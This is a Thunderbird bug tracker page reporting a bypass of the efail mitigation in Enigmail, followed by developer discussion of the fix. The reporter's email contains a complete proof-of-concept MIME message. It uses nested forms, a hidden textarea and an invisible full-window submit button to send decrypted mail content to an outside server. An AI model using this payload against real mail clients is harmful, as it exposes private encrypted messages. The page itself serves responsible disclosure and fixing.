Closed Bug 1462473 Opened 8 years ago Closed 8 years ago

[efail] Bypassing 58.7.0 <form> mitigation

Categories

(Thunderbird :: Security, defect)

defect
Not set
critical

Tracking

(Not tracked)

RESOLVED DUPLICATE of bug 1450345

People

(Reporter: BenB, Assigned: BenB)

References

Details

Attachments

(1 file)

Hanno Böck writes in email: With a minor modification I was able to bypass the mitigations for efail in enigmail 2.0.4. It seems enigmail tries to break sending forms by inserting a closing tag for a form in the pgp part. But by opening two forms one can still generate a form that will send all mail content to a server. By redressing the submit button with css one can put an invisible button over the whole mail and thus any click into the mail will leak the content. Example structure below, I think it should be obvious how it works. ------------------------ Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="BOUND" --BOUND Content-Type: text/html Click anywhere... <form method="get" action='https://q2.re/f.php'> <textarea style="opacity:0" name="a"> <form> --BOUND Content-Type: multipart/encrypted; protocol="application/pgp-encrypted"; boundary="INNER" --INNER Content-Type: application/pgp-encrypted Content-Transfer-Encoding: 7bit Content-Description: PGP/MIME version identification Version: 1 --INNER Content-Type: application/octet-stream; name="encrypted.asc" Content-Transfer-Encoding: 7bit Content-Description: OpenPGP encrypted message Content-Disposition: inline; filename="encrypted.asc" --- Start of PGP/Inline encrypted data --- Content-Type: multipart/mixed; boundary="tGejyhcnCFiZgYDrbDM8eYJux1fuhdCvW"; protected-headers="v1" From: test <test@q2.re> To: test@q2.re Message-ID: <57ace018-345c-512c-280d-194abd5008c7@q2.re> Subject: verschluesselt --tGejyhcnCFiZgYDrbDM8eYJux1fuhdCvW Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Content-Language: en-US This is a secret... --tGejyhcnCFiZgYDrbDM8eYJux1fuhdCvW-- --- End of PGP/Inline encrypted data --- --INNER-- --BOUND Content-Type: text/html </textarea> <button type="submit" style="position:absolute;width:100%;height:100%;opacity:0"> </form> --BOUND--
Will probably be fixed in bug 1419417
Group: mail-core-security
Attached file Attack email —
I've verified that * The attack works in 52.8.0. Clicking anywhere in the email opens a link. I didn't check what the link contains. * My fix for bug 1419417 fixes this. Clicking into the email does nothing.
Assignee: nobody → ben.bucksch
Status: NEW → ASSIGNED
Attachment #8976713 - Attachment mime type: message/rfc822 → text/plain
Just tested this with the yet to be released 52.8.0 and can NOT confirm. Yes, clicking the content will go to the form action url, but no data is included. (52.7.0 would send the data yes.) This is working as designed, though I think we should add a confirm dialog. Design is this: We don't allow people to fill in form data within mails, so whenever someone tries do do that we open the form action url in the browser instead. That way they will be able to fill it out on the web page, where they can check if they are on the right site etc.
To clarify: This was a bug report against enigmail with current release thunderbird (52.7.0). Ben asked me to forward the info to him.
The point is that it cannot be fixed by Enigmail, I could only implement some hack as a temporary workaround. I therefore agree with Magnus that we should instead open the form URL externally and add a confirmation dialog before doing so.
I'll mark this dupe of bug 1450345. The confirmation dialog can have it's own bug. But I'd point out you can pretty easily make all the content in a mail be a link anyway, if you want. And we wouldn't want to have the user confirm every click to open a link. So for an attack POV it's not relevant.
Status: ASSIGNED → RESOLVED
Closed: 8 years ago
Resolution: --- → DUPLICATE
Either way, this is properly fixed in bug 1419417.
Group: mail-core-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: